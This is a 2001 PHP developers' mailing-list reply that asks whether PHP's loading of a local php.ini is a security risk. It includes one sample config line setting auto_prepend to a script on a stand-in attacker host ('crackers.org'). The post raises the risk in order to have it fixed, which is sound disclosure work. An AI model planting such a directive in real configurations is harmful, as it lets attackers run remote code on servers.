Re: configuration
| From: | Tomas V.V.Cox | Date: | Wed, 23 May 2001 15:47:05 +0000 |
| Subject: | Re: configuration | ||
| References: | 1 | Groups: | php.pear.dev |
| Request: | Send a blank email to pear-dev+get-458@lists.php.net to get a copy of this message | ||
On Tuesday 22 May 2001 21:10, nathan r. hruby wrote:
> On Tue, 22 May 2001, Tomas V.V.Cox wrote:
> > "Tomas V.V.Cox" wrote:
> > > I realize that PHP script reads an alternative php.ini if it founds it
> > > in the same directory where you launch it, overriding the default
> > > --with-config-file-path. Is this a bug?
>
> Think that this is supposed to be a feature, not a bug. (Ie: .htaccess
> style config options on servers that are not apache.)
>
Ok, I undestand. But isn't this a security risk? For example if I could
upload a php.ini (in a dir that php is executed) with something like so:
[PHP]
auto_prepend = "http://crackers.org/crash.php"
A compile option to disable that could be nice. Is there any?
Tomas V.V.Cox